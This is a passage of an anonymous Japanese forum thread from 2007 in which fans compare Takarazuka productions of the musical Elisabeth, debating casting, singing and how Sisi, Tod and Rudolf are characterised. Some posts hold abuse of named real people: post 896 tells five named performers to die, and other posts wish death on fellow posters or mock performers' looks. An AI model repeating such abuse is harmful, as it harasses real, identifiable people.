で見てみたかった。

810 ：名無しさん＠花束いっぱい。：2007/11/28(水) 08:59:41 ID:mKO4YlAw

愛情ゼロなドライなエリザになりそう。

811 ：名無しさん＠花束いっぱい。：2007/11/28(水) 19:37:34 ID:94smnNvz

明日再演雪エリザ買います。楽しみだ。

812 ：名無しさん＠花束いっぱい。：2007/11/28(水) 22:05:58 ID:9uFhwsMs

理事子ルドルフでﾄﾞｿﾞｰ
想像してみて･･(´ー`)

813 ：名無しさん＠花束いっぱい。：2007/11/28(水) 22:11:38 ID:OEHZCneC

ママ～どこなの～♪
……怖がって絶対出てこなそう。

814 ：名無しさん＠花束いっぱい。：2007/11/28(水) 22:29:56 ID:94smnNvz

子ルドはマリエッタ以外認めん。

815 ：名無しさん＠花束いっぱい。：2007/11/28(水) 23:46:41 ID:Wd1TrfFm

番手無視ですが
トート→安蘭けい
シシィ→遠野あすか
フランツ→立樹遥
ルキーニ→涼紫央
ルドルフ→ 和涼華
エルマー→柚希礼音
ゾフィ→美穂圭子
上記すべての役を安蘭けいの役代わりで、というのも観てみたいがw

816 ：タイガー：2007/11/28(水) 23:52:57 ID:94smnNvz

815はキチガイです！
スルーしてください！

817 ：名無しさん＠花束いっぱい。：2007/11/29(木) 01:32:19 ID:/4MKaLqW

自分的に
初演雪　最強
星糞
宙良い
花良い
月普通
再演雪普通

818 ：名無しさん＠花束いっぱい。：2007/11/30(金) 07:55:11 ID:ra8eX6SB

今ショーでも女役してて、なかなかいい感じだからゾフィ皇太后は、すずみんで。ルキーニはしいちゃんで。

819 ：名無しさん＠花束いっぱい。：2007/11/30(金) 14:16:54 ID:9OKUNs5j

再来年に星エリザやるだろう。とうあす以外の方々に頑張ってもらわねば…

820 ：名無しさん＠花束いっぱい。：2007/11/30(金) 14:43:55 ID:9uCmPCET

ヴィジュアル優先（私見）のヅカ全体で

トート　　らんとむ

エリザベート　　ありす

フランツ　　まとぶん

ルドルフ　　たに

ルキーニ　　しい

トートとルドルフは吹き替えで

821 ：名無しさん＠花束いっぱい。：2007/11/30(金) 14:53:03 ID:AxDMiX2k

（●▽●）なひぃぐぁあいぃぃぃろぉぉぉぉぐあぁぁぁるうぅぅぅぅ♪

822 ：名無しさん＠花束いっぱい。：2007/11/30(金) 15:00:31 ID:wV3Lhy2C

三～四年後位の宙で

トート　みちこ
シシイ　アリス
フランツ　七
ルキーニ　チギ
ルドルフ　カチャ
エルマー　みー
ゾフィー　たっちん

これなら何回でも見に行く。

823 ：名無しさん＠花束いっぱい。：2007/12/01(土) 02:12:36 ID:R6Kq30uw

歌下手トート３人。
マリコトート→歌で頭がフラフラ胸がムカムカ。でも乗り物酔いの薬飲めば大丈夫。
サエコトート…歌はやはりあれだが、ビジュアルでカバーしているから全然平気。

チカトート…漏れはこ奴だけは煮ても焼いても喰えないとｵﾓﾃﾙ。刺青とかいいからさ…

824 ：名無しさん＠花束いっぱい。：2007/12/01(土) 10:30:41 ID:gaJmuIw9

漏れは逆だな。
彩輝トートだけは煮ても焼いても絶対食えない。
水トートはビジュアルと演技でカバーしてるから全然おｋ

825 ：名無しさん＠花束いっぱい。：2007/12/01(土) 21:12:39 ID:SyBv1zHT

>823
ﾅｶｰﾏ！
歌下手トートの中で
麻路は心の耳栓すれば、見た目の押し出しがあったのだけは○だった。
彩輝はオーラ無しだったが、ビジュは悪くなかった。
水トート・・・取り柄皆無だった。そうでなくても顔デカイのに白いメークで膨張してて・・・パタリロがキザってるのかと思った。

826 ：名無しさん＠花束いっぱい。：2007/12/01(土) 22:54:05 ID:yjU6pDec

パタリロってまりこのあだななんだが(；´∀｀)･･･うわぁ･･･。

827 ：名無しさん＠花束いっぱい。：2007/12/01(土) 23:39:26 ID:cvZDMUSK

パタリロって、サエコがそう呼ばれてなかったっけ？
2001ベルばらのときに。

って、歌ﾍﾀトート３人は全員パタリロかよｗ

828 ：名無しさん＠花束いっぱい。：2007/12/02(日) 01:25:25 ID:YVLMLREk

水夏希にトートをさせる宝塚歌劇団。たいがい人材不足だな。夢輝のあトートが見たかった。

829 ：名無しさん＠花束いっぱい。：2007/12/02(日) 17:08:36 ID:ghkCvxOE

今回のトートは、ヘンナヤツだ。
シシィを愛しているんだかどーだか、よくわかんない。
愛しているのだと思うよ。たしかに。
だがその愛の表現方法が、人間の感覚を超えていて、よくわかんない。
その「異生物」感が、意味不明。
トートはシシィを愛し、彼女の愛を手に入れたいと思っている。
なのに彼のやることはめちゃくちゃ。
とても「愛して欲しい」相手にしていいことじゃない。
好きな相手が嫌がること、彼女に嫌われるよーなことばかりを嬉々として繰り返している。
ここまでなら「愛情表現のチガウ異世界の存在だから、仕方ないな。人間がナニをよろこび、ナニを嫌うかわかってないんだな」で済む。
ところが。
このトートって男の愉快なところは、シシィ以外にはやさしいってこと。
革命家たちにお愛想してみせたり、ルドルフをいい子いい子してみたり。
人間の喜ばせ方、知ってんじゃん！！
彼らにカケラも愛情持っていないくせに、彼らにやさしくし、彼らがのぞむ言動を与え、彼らから愛や信頼を得ているんじゃん。

830 ：名無しさん＠花束いっぱい。：2007/12/02(日) 18:23:01 ID:YVLMLREk

再演雪の見所は飛鳥組長のグリュンネ伯爵だけです。

831 ：名無しさん＠花束いっぱい。：2007/12/02(日) 21:31:25 ID:rU2nMyaQ

829なにが言いたいの？まるで見当違い・・わかってなさすぎる（泣）
エリザは観んでいい

832 ：名無しさん＠花束いっぱい。：2007/12/02(日) 22:40:18 ID:Bo7A9ZW6

エリザベートに対するときはうそがつけないんだよ。
そういう点ではうぶな物の怪。
だからトートの純情が際立つというか。

833 ：タイガー◇：2007/12/02(日) 22:47:06 ID:YVLMLREk

829＆831死ね

834 ：名無しさん＠花束いっぱい。：2007/12/02(日) 22:51:11 ID:gVRhIqZ+

初演から見てるけど、いまいちシシィとトートの関係が良く分かってない・・・
シシィは一人の男としてトートに惹かれてたのか？
それともトートが象徴する死というものに惹かれてたのか？

835 ：名無しさん＠花束いっぱい。：2007/12/02(日) 23:29:34 ID:xCFatgtz

私もよくわからない。
ラストもなんだか唐突でトートのどこに惹かれたのかも。
ウィーン版は後者なんだよね？

836 ：名無しさん＠花束いっぱい。：2007/12/02(日) 23:30:09 ID:YVLMLREk

髮｣縺励＞繧医お繝ｪ繧ｶ縺ｯd(-_-)

837 ：名無しさん＠花束いっぱい。：2007/12/03(月) 02:29:14 ID:ZGvrZVrt

829は個人ブログのコピペ。
しかもその後結構な長さで論が展開してるのをぶたぎってる。

838 ：名無しさん＠花束いっぱい。：2007/12/03(月) 08:54:02 ID:3xWlMgSw

ウィーン版のシシィは最初の出会いで
「死」に安らぎと憧れを抱いたように描かれてるね。
シシィの血族に精神異常者や自殺者が多いことも
語られてる場面がなかったっけ？

ヅカ版は、下手にトートを擬人化しすぎて恋愛物にスライドしたから
つじつまの合わないへんな話になってしまったんじゃないかな。

フランツが要求をすべて呑んでもなお、
シシィが孤独だなんだといい続ける所も説明不足だよね。
一体フランツはアレ以上どうすればよかったのかと…
ウィーン版だとルキーニが語るシシィの性格にも問題があった所や
亡き父と幻想で言葉を交わす場面でフォローされてるけど。

839 ：名無しさん＠花束いっぱい。：2007/12/03(月) 12:15:53 ID:n7py4EB2

>フランツが要求をすべて呑んでもなお、
>シシィが孤独だなんだといい続ける所も説明不足だよね。

これ私も思った。
お話自体もシシィ全肯定なところがあるから
よけいにフラストレーションたまる。
シシィの死生観や孤独にもっと説得力がほしい。

840 ：名無しさん＠花束いっぱい。：2007/12/03(月) 12:26:45 ID:P+AqpPG/

キッチュの歌詞が東宝版と全然違ってるのと、コルフ島がないのとで
シシィの人格がとてもぼやけてる印象はあるよね、宝塚版は。
コルフ島の

「自由に生きたい　ジプシーのように
もう遅すぎる　今からではパパみたいになれない」

って歌詞と不協和音がすごく好きなんだけどね。

841 ：名無しさん＠花束いっぱい。：2007/12/03(月) 13:55:47 ID:3xWlMgSw

晩年のゾフィーのソロ歌
(つらくても厳しさが必要だった、ってフランツに語る所)も
ヅカ版ではカットされてるから、ゾフィーがただのいじわるな悪役にされちゃってる。

ルキーニの(子供を取り戻したらあとは無関心、ゾフィに勝ちたかっただけ)
の部分も無いから、シシィに教育をまかされたはずのルドが
ほったらかしにされてる理由がわからない。

ヅカ的にはヒロインのマイナス部分は
すべてカットせざるを得ないんだろうかな～

842 ：名無しさん＠花束いっぱい。：2007/12/03(月) 20:40:30 ID:bmN8Klq2

児童文学で「ねずみ女房」（ルーマー・ゴッデン・作）という話がある。

あるところに現状に満足できず、常に今持っていない何かを求めている女房ねずみがいて、
そんな女房に夫ねずみは「これ以上、何が欲しいというんだな？」と尋ねるだけでした。

子ども向けの本にしては意外と哲学的に深い内容なんだけど、
読むと何故かシシィを思い出してしまうんだよね。

フランツはシシィに対して現世的な意味で良い夫であったかもしれないけど、
シシィが本当に求めるもの（魂の自由）を理解し、シシィの魂を救う存在にはなれなかったんだよね。

843 ：名無しさん＠花束いっぱい。：2007/12/04(火) 01:02:49 ID:fHqpcKe/

現世でも魂でもよい夫を求めるのは無理だろうな
それなら現世でも魂でもよい妻になる覚悟がなくてはな

844 ：名無しさん＠花束いっぱい。：2007/12/04(火) 01:16:28 ID:KGjcRUSD

まあ、夜のボートのまんまだよね。
住む世界がちがいすぎる。見えているものが違い過ぎる。
だからどんなにボートを寄せ合ったところで、すれ違うことしかできないんだよ。
ルドルフはある意味シシィと同じもの、あるいはシシィ以上にフランツとは違うものが見えてる。
ルドルフの感じる世界に対する絶望感と重ね合わせて、ＨＡＳＳを盛り込んだウィーン版の
表現は本当に秀逸なんだけど、宝塚版ではそこが浅い。
下手すりゃただの世間知らずのボンボンが甘い言葉に乗せられてるだけだもん。
宙組版のコムと、月組版のゆうひには、ルドルフの中に狂気が見えたのがいいね。

845 ：名無しさん＠花束いっぱい。：2007/12/04(火) 01:34:39 ID:qrkj7xuI

孤独を嘆いているけど、ルドルフの手を振り払ったのは自分だし、
どこまでもエゴイスティックだよね
自分が本当に自由になれる場所は現世に存在しないのを薄々気付いてて
でも認めたくなくて、色々と抵抗してみたけど、やっぱり無理だったんだな･･･と。

846 ：名無しさん＠花束いっぱい。：2007/12/04(火) 08:48:46 ID:F6J6Xc4i

ウィーン版のルキーニはシシィの性格を「エゴイスト」と
斬り捨てているし
シシィ自身も自分のエゴイスティックな部分に気づいていて
でもそれを矯正できない、野生的な欲望をコントロールできない苦悩が
垣間見えたんだけど
ヅカのシシィは孤独のヒロインに徹していて
ただただ孤独に嘆いているだけのように見える。

まぁ宝塚エリザはラストの昇天シーン(宝塚ロマンチック)と
怒涛のフィナーレを楽しむものと割り切って見るものかもしれんが。

847 ：名無しさん＠花束いっぱい。：2007/12/04(火) 18:51:19 ID:9FoCChHH

やはり好評の初演雪＆花。うちのマザーにも見せました。初演雪にハマったみたいで2回も3回も見てます。一路にハマったみたいでつ。

848 ：名無しさん＠花束いっぱい。：2007/12/04(火) 20:41:41 ID:+yUjv9l4

本当の話　シシィはものすごいエゴイスト
ゾフィーに勝ち　子供を奪い返してはみたものの
自分の手では育てず　人に任せきり
スイスの銀行に　隠し口座を開いてた　ちゃっかりと
聞きたいことと　違うだろ
真実なんて　汚いもの

キッチュ　それでも知りたいか
キッチュ　おとぎ話じゃないぜ
キッチュ　キッチュ

849 ：名無しさん＠花束いっぱい。：2007/12/05(水) 00:09:05 ID:wZJZtoAB

それにしても星エリザ＆再演雪は酷かった。見てて苦痛だった。

850 ：名無しさん＠花束いっぱい。：2007/12/05(水) 01:39:38 ID:DT+Yfouy

>>848
宝塚だからそういう部分を削っちゃったんだろうけど
それならそれで、つじつまの合う話にしてほしいよね・・・
フランツに心を開かなかったのはトートを愛していたから、と説明がつくにしても
子供のことや権力を持とうとしたことはじゃあ何？って感じで。
そういうのを考えると最後好きな人と結ばれてよかったねーと単純には思えないわな

851 ：名無しさん＠花束いっぱい。：2007/12/05(水) 18:30:22 ID:poD8F+Bh

つじつまがあうのは無理だって
ウィーン版だって観客が頭で補わなきゃいけない部分があるんだから
宝塚版は宝塚版としてウィーン版とは別の観点から解釈しなおすべきなんだよ
シシィの実像にとらわれ過ぎない多様な解釈を求めるべき
宝塚化した時点で無理があるのは当たり前なんだから
そこをどう乗り越えるかが
スタッフの腕の見せどころなんじゃないの

　　　　　　

852 ：名無しさん＠花束いっぱい。：2007/12/05(水) 20:19:22 ID:iQlqH+es

本場から全然別物だと思われているから
ＤＶＤ販売もＯＫがでたんだと思ってた

853 ：名無しさん＠花束いっぱい。：2007/12/05(水) 21:47:51 ID:pLyzYZQ1

でもフランツの浮気（ゾフィーの謀略とトートの謀略）で
全部崩れたって感じはするから無理はないような気はする。
少なくとも「私が踊る時」のシシィは幸福というか本人としては大満足の状態。
権力を持とうとしたのはゾフィの支配を逃れ「自由」（自分の思い通りに生きる）を得る為。
それにはフランツの愛が必要だったし、美貌も不可欠だった。
それに励むうちに時間がなくなって、子供放置状態になってしまったと私は解釈。
そもそもあの頃の王族の子育てというのは自分が付き添う事ではなく、
所謂教育方針を選ぶ権利かと・・・。だいたい子供の事は子供への愛情以上に
憎いゾフィーへの競争意識（取り合い）の方が強い感じも受ける。

信じていた（それなりに愛していた）フランツの裏切りが大ショック→
人間不信・孤独倍増→国外逃亡って感じかな。
シシィはエゴイスト、繊細、粘着、我侭、精神不安定で納得できる。

私が分からないのはトートの「死は逃げ場ではない！」かな。
「死」を好きにさせるという行動ではなく、現世から逃げ出したくなるように
仕向けてばかりだからね。

854 ：名無しさん＠花束いっぱい。：2007/12/05(水) 23:31:34 ID:wZJZtoAB

長文うざい

855 ：名無しさん＠花束いっぱい。：2007/12/05(水) 23:33:42 ID:h/BWYWBL

やたら本家と比較したり
シシィという女性像はこうでなきゃとか言ってるのって
ここに来てる連中の方だよね。
劇団の方はそんな
自分を枠にはめるような作り方してないんじゃない。

856 ：名無しさん＠花束いっぱい。：2007/12/05(水) 23:33:43 ID:TNLG0qkG

ウィーン版のトートは
そんな状態のお前に用はない、失せろ！みたいな
キツイ物言いじゃなかったっけ。
ウィーン版はそもそも「愛と死のロンド」がないから
あの場面のトートの拒絶もよくわからない。

857 ：名無しさん＠花束いっぱい。：2007/12/06(木) 00:06:18 ID:dME3sivU

「死は逃げ場ではない」はトート自身も逃げ場になるように仕向ける
という過ちをおかしてしまったことに気づくってことだと思うけど。
トートに別個の人格を持たせている宝塚版ならではだよね。

ウィーン版はシシィとトートは裏表(スカーレットじゃないがｗ)な関係だから、
あの拒否はトートでありながら、シシィの中の自由(現世の束縛からの解放)を求める魂の叫びでもあるんだよ。

>855
シシィという女性像はこうでなきゃって枠に当てはめる必要はないけれど、
実在の女性であるんだから、多角的な理解や表現はしてもいいとは思うけど、
自分を枠にはめずに自由に演じていいってもんでもないと思うよ。
シシィとはどんな人かも考えずにただ自由に演じるならそれはただの暴走。
っていうか芝居って、自分と役を重ね合わせて、自分との共通点を探し、
自分と違うところを探し、共感と妥協を重ね合わせて一個の役として作り上げてくもんでしょ。
さらにつきつめて考えるなら、ミュージカルやオペラには音楽がついてる。
究極的にはその一音一音にどういう意図があるのか、その一音一音でどういう表現をするのか、
そこまで突き詰めて演じていかなければいけないもの。ある意味、究極の型芝居かもしれない。
だから歌をまともにこなせてない役者が演じるのはミュージカル作品としては最低だと思う。
エンターテイメントっていう側面では観客が楽しめたならいいとは思うけどね。

858 ：名無しさん＠花束いっぱい。：2007/12/06(木) 01:07:07 ID:62R9l+Vl

という訳で歌ｳﾏさんﾏﾝｾｰになりがちなエリザですが、
芝居がｲｹてないと興ざめ派な私。
歌の技術は二の次。

859 ：名無しさん＠花束いっぱい。：2007/12/06(木) 06:19:38 ID:G32X+mL0

色々な解釈ができて尚それぞれに筋が通ってるならいいけどさ、
部分的に見ればアリかな、と思っても全体通して見た時にすっきりしないのは
成功とは言えないでしょ。
宝塚では新しいシシィ像を作りたいと言うのなら、
その他の部分も納得できるような演出にしてほしいってこと。

860 ：名無しさん＠花束いっぱい。：2007/12/06(木) 08:53:52 ID:ey4NxsK6

イケコの小説だとルキーニに襲撃された瞬間、
トートに自分の名を呼ばれたシシィが
初めてトートへの愛に気づく、と言うような描写になってるけど
舞台見てもそれが感じられにくい。
だからラストの昇天が唐突に思える。

861 ：名無しさん＠花束いっぱい。：2007/12/06(木) 19:11:50 ID:d3hk6TFb

>859
自分も、芝居がよくないと全く入り込めない。
歌が下手でも、歌で役を演じてればOK。
逆に歌ウマーでも、役じゃなく本人がただ上手く歌ってるくらいならCDでいいじゃん、って思ってしまう。

862 ：名無しさん＠花束いっぱい。：2007/12/06(木) 20:21:37 ID:aIkIWjgG

宙と再演雪が1番萎える

863 ：名無しさん＠花束いっぱい。：2007/12/06(木) 20:33:43 ID:TKQGdcEh

http://lifeform.coomaru.com/musi/005/huna07.jpg

864 ：名無しさん＠花束いっぱい。：2007/12/06(木) 20:43:08 ID:GW7/Md2L

みんなはシシィに共感できるの？ネタとして興味深い女性と思うけどね。
昔は今ほど詳しいことが知られてなかったから
彼女に関する美しい誤解があったんだろうなあ。
彼女の真実に近づこうとするのはウィーンエリザにまかせて
ヅカエリザは実在の彼女から離れて
脚本を土台にヅカ作品としての可能性を広げていけばいいと思うよ。
　　　　　　　　　

865 ：名無しさん＠花束いっぱい。：2007/12/06(木) 20:45:59 ID:GW7/Md2L

866 ：名無しさん＠花束いっぱい。：2007/12/06(木) 20:53:58 ID:GW7/Md2L

二重カキコすまん

867 ：名無しさん＠花束いっぱい。：2007/12/07(金) 09:13:26 ID:2gaMlnqF

そうだねぇ。ヅカエリザはメルヘンだから・・・
個人的にはもう少しシシィの孤独や絶望を
見ているこちらの気持ちが寄り添えるような描写がほしいのと
トートへの愛に気づく自然な流れが欲しいなと思う。

868 ：名無しさん＠花束いっぱい。：2007/12/07(金) 09:20:07 ID:aqCKuaPC

歌が上手くないと、芝居が伝わってこない。ミュージカルだから。
いざ歌い出して下手くそだと、現実に引き戻される。
「エリザなら客が入ると思って手抜いたな・・」と邪推が頭をよぎる。
今度上演される時は、宝塚の威信をかけ歌の上手いコンビで。

869 ：名無しさん＠花束いっぱい。：2007/12/08(土) 23:33:24 ID:+bz4+YwA

ミュージカルにおいて芝居の伝わってこない歌は上手いとは言わない。
でもいくら芝居をがんばったところで、歌がダメなら作品の力をまったく生かせてないよね。
というわけで、もう歌下手トートも歌下手シシィもいい加減にしてほしいです。
もし再演するなら、まりこさんや水さんのような音痴は退団させるなり、組替えさせるなりしてほしい。

870 ：名無しさん＠花束いっぱい。：2007/12/08(土) 23:41:31 ID:2PN91BGU

麻路トートはオーラでカバーしている。音痴ではあるが存在感がある。水はカス。

871 ：名無しさん＠花束いっぱい。：2007/12/08(土) 23:45:21 ID:vubXCwfe

トートもだが、いい加減歌えるシシィを出せ、と。
普段のお歌が中の上か上の下クラスのみどりが歴代で一番歌えてたってのが辛い。
演技力と迫力、ビジュアルでカバーされるならいいって言って、今まで歌えるシシィってのがいないことに気付いた。

872 ：名無しさん＠花束いっぱい。：2007/12/09(日) 00:46:54 ID:uI3HYAHE

そんなこと言ったって、そもそも娘役トップに、歌が上の中以上クラスの人なんて
ほとんど来ないし～。来たら来たで、絶対にスタイルとかビジュアル関係で叩かれるし。
歌えてるだけでシシィとしてのオーラが無い、とか言われるに決まってるよ。

873 ：名無しさん＠花束いっぱい。：2007/12/09(日) 02:31:43 ID:Q+bt4mVb

>>837
私も思った

ブログ書いた本人にとっては、そのあとの方が重要だったはずなのに

874 ：名無しさん＠花束いっぱい。：2007/12/09(日) 02:37:12 ID:Q+bt4mVb

いやよ　おとなしいお后なんて
なれへん　可愛い人形なんて
あんはんのものやないの　このウチは
細いロープたぐって　登るの
スリルに耐えて　世界見下ろす
冒険の旅に出る　ウチだけ
義務を押し付けられたら出て行くわ　ウチ
捕まえると言うのなら　飛び出していくわ
鳥のように解き放たれて　光目指し夜空飛び立つ
でも見失いまへん　ウチだけは

いやよ　人目にさらされるやらなんやら
話す相手　ウチが選ぶ
どなたはんの物でもない　このウチは
ありのまんまのウチは　宮殿にはおらへん
どなたはんにも束縛されず　自由に生きるの
たとえ王家に嫁いだ身でも　命だけは預けはせん
ウチが命委ねる　それはウチだけに

ウチに

875 ：名無しさん＠花束いっぱい。：2007/12/10(月) 00:11:24 ID:Bfm9Zli0

初演雪→みんなで楽しめる
星→通好み
宙→微妙
花→みんなで楽しめる
月→通好み
再演雪→微妙

876 ：名無しさん＠花束いっぱい。：2007/12/11(火) 15:02:30 ID:ucLEWWbs

＞８４８
今更ですがイケコの訳詞はいけてません。
ウィーンのルキーニが歌ってるキッチュの内容とはかなり異なります。
あの歌詞を鵜呑みにしないでください。

877 ：名無しさん＠花束いっぱい。：2007/12/11(火) 15:24:47 ID:IQ2/17p0

ヅカのエリザはヅカのエリザ。
いかん、「カエサルは～カエサル～」と歌いそうになった。

878 ：名無しさん＠花束いっぱい。：2007/12/12(水) 20:31:06 ID:Jw3GUzw7

個人的には初演雪、花、再演雪が好き。
歌ウマ公演がいいのは当たり前だから
再演雪は全体としては好きじゃないけど
何故かところどころ好きな部分があってやめられないw
なんでだろう……共通点って言ったらゆみこくらい？？www

879 ：名無しさん＠花束いっぱい。：2007/12/13(木) 00:32:44 ID:XARKa5CZ

>>878
つハマコ

あ～、あみたんのリヒテンシュタイン、美穂姉さんのマダムヴォルフが見たかった(聴きたかった)

880 ：名無しさん＠花束いっぱい。：2007/12/13(木) 03:11:57 ID:HafHkzF7

一路トート
大鳥エリザベート

大好き

881 ：名無しさん＠花束いっぱい。：2007/12/13(木) 18:55:14 ID:e27iSBcM

>>879美穂ヴォルフは絶品でしたよ。
あれ、ハマコ先生って花にも出てましたっけ？？

882 ：名無しさん＠花束いっぱい。：2007/12/13(木) 19:39:02 ID:zDKjDyUa

銀座に出来たハンガリーレストランで劇中登場の「トカイワイン」を飲んでみたけど
デザートワインでものすごく甘かった。エルマー達は１杯目からあんな甘いもの飲んで
革命計画立ててたんだね！

883 ：名無しさん＠花束いっぱい。：2007/12/13(木) 19:53:49 ID:nelhXvsk

全然関係ないけど少し前まで｢トカイワイン｣を
｢高いワイン｣と聞き間違えてた。
秒読み段階だから贅沢するんだなーってw

884 ：名無しさん＠花束いっぱい。：2007/12/13(木) 20:00:46 ID:LNYMIo/0

脳に糖分を与えて働かせようとしたんだな＞甘いトカイワイン

885 ：名無しさん＠花束いっぱい。：2007/12/18(火) 21:27:35 ID:omrZ757A

たかはな

886 ：名無しさん＠花束いっぱい。：2007/12/19(水) 00:46:34 ID:6khgLXuA

>>881
ｽﾏｿ、勘違いかorz
当然ハマコは花に出ているはずはない。

887 ：名無しさん＠花束いっぱい。：2007/12/19(水) 07:31:02 ID:q+Fotzfs

一路時代の雪の凄さ…

888 ：888：2007/12/19(水) 09:26:07 ID:q+Fotzfs

麻路さき最強

889 ：名無しさん＠花束いっぱい。：2007/12/19(水) 13:00:59 ID:BAWMAPso

都会ワインだと最初勘違いした

890 ：名無しさん＠花束いっぱい。：2007/12/19(水) 13:54:02 ID:q+Fotzfs

お前病院いけや

891 ：名無しさん＠花束いっぱい。：2007/12/19(水) 15:37:44 ID:q+Fotzfs

本当に反吐が出たのは宙エリザと再演雪エリザ。
わたるルキーニとこむルドルフはどうにもならないが。
まだ水はこれからだから期待。それにしても自分は水はフランツかルドルフかエルマーだと思うんだがな。私だけ？

892 ：連投ｽﾏｿ：2007/12/19(水) 15:45:40 ID:q+Fotzfs

いや君だけじゃない。てか漏れ的にﾜﾀﾙはシシィorルドルフorゾフィ
なんだけどな

893 ：名無しさん＠花束いっぱい。：2007/12/19(水) 15:47:15 ID:rsOLFGtv

酷い自演だ

894 ：名無しさん＠花束いっぱい。：2007/12/19(水) 16:05:07 ID:q+Fotzfs

轟先生を「理事」だの「とど」だの「ガラガラさん」とか罵る屑どもには死を与えよう。

895 ：名無しさん＠花束いっぱい。：2007/12/19(水) 17:32:44 ID:q+Fotzfs

つーことで早く死ね

896 ：名無しさん＠花束いっぱい。：2007/12/19(水) 21:09:48 ID:q+Fotzfs

轟悠
安蘭けい
遠野あすか
大和悠河
陽月華
死ね

897 ：名無しさん＠花束いっぱい。：2007/12/20(木) 03:27:50 ID:t9Pd08f2

社長（涼紫央　英真エージェンシー代表取締役）はルドルフだお(^-^)v

898 ：名無しさん＠花束いっぱい。：2007/12/20(木) 16:29:02 ID:J+o0qilM

闇が広がる

おさ＞ずんこ＞いちろ＞＞＞＞＞＞・・・・・・＞まりこ＝さえこ＝ちか

899 ：名無しさん＠花束いっぱい。：2007/12/20(木) 16:57:56 ID:t9Pd08f2

いちたー
まりぶん
ずんこむ
おさゆみ
さえゆひ
みずてる

ずんこむ以外は全て良い。

コムぶっさいく。

900 ：名無しさん＠花束いっぱい。：2007/12/20(木) 17:02:32 ID:TnsvB2eN

コムルドのヒットが、ルドルフのキャラクターの若年化（耽美化）を加速させたよな。

901 ：名無しさん＠花束いっぱい。：2007/12/20(木) 20:55:27 ID:RR4aLvRr

トートが実際はエリザベートじゃなくルドルフに恋焦がれていたという
ストーリーで、すなわちルドルフを主役にしてやるってのはどうでしょう？

902 ：名無しさん＠花束いっぱい。：2007/12/20(木) 21:07:58 ID:Nok4Qdui

>>900
そーゆー時は年相応ﾀｰﾙﾄﾞでリハビリだ

903 ：名無しさん＠花束いっぱい。：2007/12/20(木) 21:10:29 ID:feaC/ni4

>ルドルフのキャラクターの若年化（耽美化）
あっちもルカスさんだしな。

904 ：名無しさん＠花束いっぱい。：2007/12/20(木) 21:47:49 ID:r76/+A43

あっちも最初は年相応のオッサンだったらしい。
ヅカの耽美の影響かあるいは自然発生か、あっちも耽美路線ルドになり現在に至ると。

905 ：名無しさん＠花束いっぱい。：2007/12/21(金) 00:18:35 ID:tWHqzHIh

今年のエリザ良かったよρ(..、)

906 ：名無しさん＠花束いっぱい。：2007/12/21(金) 00:53:48 ID:9Z6Jegad

大きなサプライズがないと絶対実現しないと思うけれど、カズあすでエリザをしてみたらどうかなー。

907 ：名無しさん＠花束いっぱい。：2007/12/21(金) 08:13:05 ID:86iE0E5h

>>904
東宝版の影響と言われてるよ！

908 ：名無しさん＠花束いっぱい。：2007/12/21(金) 14:05:52 ID:cNrBeZn1

王座に座るんだ
↓
皇帝ルドルフは立ち上がる
↓
ピストル自殺

の流れが意味不明。クーデター失敗して殺されるのなら分かるけどさ。
なんで決起を促して説き伏せて即自殺になるのか。

909 ：名無しさん＠花束いっぱい。：2007/12/21(金) 14:41:22 ID:nogZ9nrS

>>907
いけこがコムへの贈る言葉で、宝塚以外のルドルフに影響を与えているって書いてあった
１作の付き合いなのに書いているんで驚いた

910 ：名無しさん＠花束いっぱい。：2007/12/21(金) 15:15:17 ID:pF/usGJf

>908
わからないならみなくていい。
実際は暗殺されたか自殺か未だ不明。

911 ：名無しさん＠花束いっぱい。：2007/12/21(金) 16:24:33 ID:64pNKe7u

2番目と3番目の間に色々あっただろ・・ちゃんと見ましょう

912 ：名無しさん＠花束いっぱい。：2007/12/21(金) 19:15:47 ID:pYxRLLyu

やのかおるってアタマわる
トートが感情をむき出しにするからって
即人間らしいトートって発想が単純バカすぎ

913 ：名無しさん＠花束いっぱい。：2007/12/21(金) 20:23:14 ID:D+4cWkV9

>908
ヅカ版ルドは
パパに「王位継承はむずかしいぞ」と言われてショックを受け
(クーデター起こしたんだからその位のリスク覚悟の上だろ)
ママに「パパを説得して～」と泣きついたが
(ﾅｶﾏが捕まったのに自分は許されて王位につくつもりだったのか？)
「もう大人なんだから自分で解決しなさい」と突き放されて
(この時ルド３０代、母親もそう言わざるを得ない)
絶望して自殺(おいwww)…という流れにしか見えないんだよね。
おまいは船○吉兆のマザコン息子かと

914 ：名無しさん＠花束いっぱい。：2007/12/21(金) 21:28:30 ID:tjiZHOte

>913
特に自力でクーデター成功させそうなﾀｰﾙﾄﾞはな

915 ：名無しさん＠花束いっぱい。：2007/12/22(土) 05:32:21 ID:KUDik8M3

>>913仲間は描かれてないが、仲間解放もお願いしてるだろう。多分。

>>914
確かにｗ

しかし歴代ルドルフ並べてみると、クーデター決意→失敗→自殺ってなりそうなのがゆうひとゆみこくらいしか・・・

たかこ：ママが放っておかない。
ぶん：失敗するが最後に父と刺し違えそう(転んでもタダでは起きない)。
コム：そもそも政治に興味なさそう
テル：操られてるだけ？
(じゅりちゃんは未見)
あくまで私見だが。

916 ：名無しさん＠花束いっぱい。：2007/12/22(土) 06:44:18 ID:5VPsmnk1

http://ictlab.tyict.vtc.edu.hk/~040386491/up/src/026.jpg
http://www.youlost.mine.nu/html999/img/2554.jpg

917 ：名無しさん＠花束いっぱい。：2007/12/22(土) 11:21:39 ID:KbJ/Uk+R

>>915

> たかこ：ママが放っておかない。
> ぶん：失敗するが最後に父と刺し違えそう(転んでもタダでは起きない)。
> コム：そもそも政治に興味なさそう
> テル：操られてるだけ？
> (じゅりちゃんは未見)
> あくまで私見だが。

すんごい的確ｗｗｗ

918 ：名無しさん＠花束いっぱい。：2007/12/23(日) 22:25:16 ID:4vQyWEK5

ぶんルドが強い

919 ：名無しさん＠花束いっぱい。：2007/12/24(月) 22:46:52 ID:7Yp5p7w9

美しさはお花様だけど
宙バージョンでは、ずっとトートを激しく突き放しまくって
殺されていきなりラブラブになった感が否めないんだよな～
だから最初に見たとき「いきなりなんでやねん？？？」
と思った
死（トート）に甘い誘惑を感じているけど
それを必死で拒否しているという感じがないんだよな～
ただただ拒否しているだけな感じ
だから最後の昇天の笑顔の意味が分からなかった

というわけで花エリザが私としては一番かな
歌も安定しているし、プライドだけではない心のあるエリザの演技に思えた
長文ごめんなさい

920 ：919：2007/12/24(月) 23:25:02 ID:7Yp5p7w9

紛らわしい書き方になっていました
花エリザ→花組エリザ（大鳥エリザ）です
度々ごめんなさい

